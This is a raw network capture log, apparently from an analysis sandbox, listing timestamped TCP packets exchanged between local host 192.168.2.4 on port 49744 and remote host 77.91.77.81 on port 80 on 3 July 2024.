Jul 3, 2024 23:59:26.252727985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252768040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252778053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252800941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252811909 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252835035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252837896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252868891 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.252880096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252944946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.252988100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253020048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253038883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253052950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253062010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253086090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253096104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253118992 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253134966 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253150940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253165007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253184080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253199100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253216982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253235102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253248930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253263950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253281116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253297091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253314972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253321886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253346920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253376961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253381014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253416061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253431082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253443956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253473997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253479004 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253506899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253519058 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253546953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253556967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253588915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253601074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253623009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253631115 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253654003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253663063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253694057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253703117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253735065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253747940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253776073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253789902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253801107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253834963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253845930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253868103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253881931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253901005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253914118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253936052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253947020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253969908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.253983021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.253998995 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.254012108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.254045010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255168915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255218029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255223036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255255938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255264997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255289078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255305052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255336046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255338907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255369902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255387068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255403996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255415916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255436897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255449057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255469084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255484104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255515099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.255934000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255965948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.255978107 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.256000042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.256011009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.256032944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.256041050 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.256072998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.256072998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.256104946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.256117105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.256146908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.295785904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.295842886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.295876980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.295883894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.295891047 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.295911074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.295921087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.295945883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.295955896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.295989037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296026945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296066999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296082020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296112061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296183109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296215057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296235085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296246052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296257973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296288013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296297073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296329021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296346903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296360970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296375036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296402931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296561956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296593904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.296613932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.296638012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.319066048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.319094896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.319117069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.319133997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.319185019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.319220066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.319252014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.319284916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.319325924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.319519043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.346343994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346400976 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346405029 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.346435070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346447945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.346478939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.346528053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346579075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.346580029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346615076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346628904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.346648932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346666098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.346693039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.346939087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346971035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.346991062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347004890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347013950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347048044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347088099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347120047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347136974 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347152948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347162962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347189903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347197056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347237110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347239971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347270012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347287893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347312927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347320080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347352028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347366095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347395897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347400904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347450972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347450972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347484112 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347501040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347517014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347522020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347558975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347565889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347610950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347616911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347649097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347666979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347691059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347697973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347731113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347749949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347764015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347774982 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347798109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347809076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347831964 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347841978 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347863913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347875118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347904921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.347933054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347965002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.347982883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348001003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348015070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348047972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348064899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348088980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348098040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348129988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348144054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348161936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348172903 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348190069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348206997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348232985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348239899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348273039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348289013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348304033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348319054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348340034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348352909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348387003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348401070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348423958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348429918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348452091 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348473072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348488092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348500967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348534107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348550081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348579884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348586082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348618984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348637104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348649979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348661900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348681927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348690987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348715067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348726034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348747015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348756075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348779917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348795891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348813057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348823071 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348844051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348853111 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348877907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348887920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348910093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348922014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348944902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348953009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.348978996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.348989010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349023104 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349030972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349081039 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349080086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349114895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349129915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349148035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349159002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349189997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349199057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349227905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349246979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349260092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349275112 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349296093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349304914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349328041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349339008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349361897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349370003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349394083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349409103 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349426985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349441051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349458933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349472046 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349493980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349503040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349523067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.349539995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.349566936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.350899935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.350951910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.350953102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.350986004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.350997925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351035118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351036072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351068020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351085901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351100922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351119041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351135015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351147890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351169109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351177931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351201057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351217985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351243973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351252079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351284981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351298094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351317883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351329088 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351351023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351357937 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351394892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351495028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351526022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351547003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351557970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351571083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351592064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351602077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351624966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351634979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351660967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351667881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351716995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351804018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351836920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.351855040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.351880074 CEST	49744	80	192.168.2.4	77.91.77.81
